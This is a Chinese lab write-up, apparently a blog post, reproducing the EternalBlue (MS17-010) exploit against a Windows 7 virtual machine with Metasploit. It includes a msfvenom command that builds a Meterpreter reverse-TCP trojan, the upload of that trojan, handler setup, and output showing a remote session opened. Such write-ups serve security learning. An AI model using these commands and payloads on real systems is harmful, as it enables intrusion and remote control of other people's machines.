msf017-010复现及木马利用

永恒之蓝

简介

永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中
包含“永恒之蓝”工具,“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日,不法分子
通过改造“永恒之蓝”制作了wannacry勒索病毒,英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大
型企业内网和政府机构专网中招,被勒索支付高额赎金才能解密恢复文件,对重要数据造成严重损失。被袭
击的设备被锁定,并索要300比特币赎金。要求尽快支付勒索赎金,否则将删除文件,甚至提出半年后如果
还没支付的穷人可以参加免费解锁的活动。

在这里插入图片描述

原理

  • 永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。

影响范围

Windows XP、 Windows Server 2003、Windows 7、Windows Server 2008、Windows Server2008 R2、等系统

复现过程

  • 靶机:win7 虚拟机(192.168.253.130[前半段漏洞利用的IP]/192.168.253.132[后半段换网络IP改变])
  • 攻击机:kali (192.168.253.135)
  • 靶机关闭win7防火墙及自带的防护功能

先对靶机进行连通性检测(正常),使用nmap扫描,模拟真实环境,可以看见开放445端口。
在这里插入图片描述在这里插入图片描述
因为对ms17-010进行复现这里就直接利用msf框架搜索相关模块,存在exploit模块和auxiliary模块,前者负责渗透测试后者用来探测是否存在相关漏洞及能否利用
在这里插入图片描述
先使用辅助模块对目标扫描探测,判断靶机是否满足漏洞的使用前提
在这里插入图片描述

run之后得到结果如上图,表明靶机满足测试条件。选择exploit模块进行测试,使用show options 查看需要设置的参数并设置好,run之后进行攻击。
在这里插入图片描述

攻击成功,返回得到命令终端。使用shell指令模拟对应操作系统的CLI,发现存在字符集乱码使用chcp 65001修改字符集。whoami 查看下为管理员身份,get shell。
在这里插入图片描述
在这里插入图片描述
基础的漏洞利用到此完成
利用msf进行木马生成,以刚才获得的shell上传木马到目标靶机。

1. 木马生成:
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.253.135 LPORT=6666 -f  exe -o  /root/Desktop/shell.exe 
## -p:指定使用的攻击载荷
## -f:指定文件输出格式
## LHOST:负责监听的主机IP(就选择kali的)
## LPORT:监听主机使用的端口(未被使用过就好,自定义)
## -o:将payload保存到指定的文件路径。
To use retry middleware with Faraday v2.0+, install `faraday-retry` gem
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /root/Desktop/shell.exe

2. 利用之前的权限上传木马
meterpreter > upload /root/Desktop/she.exe C:/
[*] uploading  : /root/Desktop/she.exe -> C:/
[*] uploaded   : /root/Desktop/she.exe -> C:/\she.exe
## upload 源文件位置 上传的目标位置

3. 设置监听
msf6 > use  exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > show options
`//查看各种参数`
Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
msf6 exploit(multi/handler) > set LHOST 192.168.253.132
LHOST => 192.168.253.132
msf6 exploit(multi/handler) > set LpoRT 6666
LpoRT => 6666
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.253.135  yes       The listen address (an interface may be specified)
   LPORT     6666             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target
4. 参数设置号启动监听,等待木马启动。
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.253.135:6666 

5. 启动木马(之前获得的权限)
meterpreter > shell
Process 2672 created.
Channel 8 created.
Microsoft Windows [�汾 6.1.7600]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����
C:\Windows\system32>chcp 65001
chcp 65001
Active code page: 65001
C:\Windows\system32>cd ../../
cd ../../
C:\>shell.exe   
shell.exe
返回数据
[*] Sending stage (175174 bytes) to 192.168.253.132
[*] Meterpreter session 8 opened (192.168.253.135:6666 -> 192.168.253.132:49180) at 2023-01-07 22:14:57 -0500

至此结束!

补充

SMB参考链接

SMB协议
简介

SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

交互流程

① 首先客户端发送一个SMB negprot请求数据报,并列出它所支持的所有SMB协议版本。服务器收到请求信息后响应请求,并列出希望使用的协议版本。如果没有可使用的协议版本则返回0XFFFFH,结束通信。

② 协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SesssetupX请求数据报实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后服务器通过发送一个SesssetupX应答数据报来允许或拒绝本次连接。

③ 当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问网络资源的名称,之后服务器会发送一个TconX应答数据报以表示此次连接是否被接受或拒绝。

④ 连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

关于chcp
  • chcp 65001是一句cmd指令,用来把终端的字符集编码切换成UTF-8(65001)

  • CHCP是一个计算机指令,能够显示或设置活动代码页编号。

常用的字符集编码:
字符集编码 描述

65001 UTF-8

950 繁体中文

936 简体中文默认的GBK

** 第一次写博客,若有不足之处请大家多多指点**

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值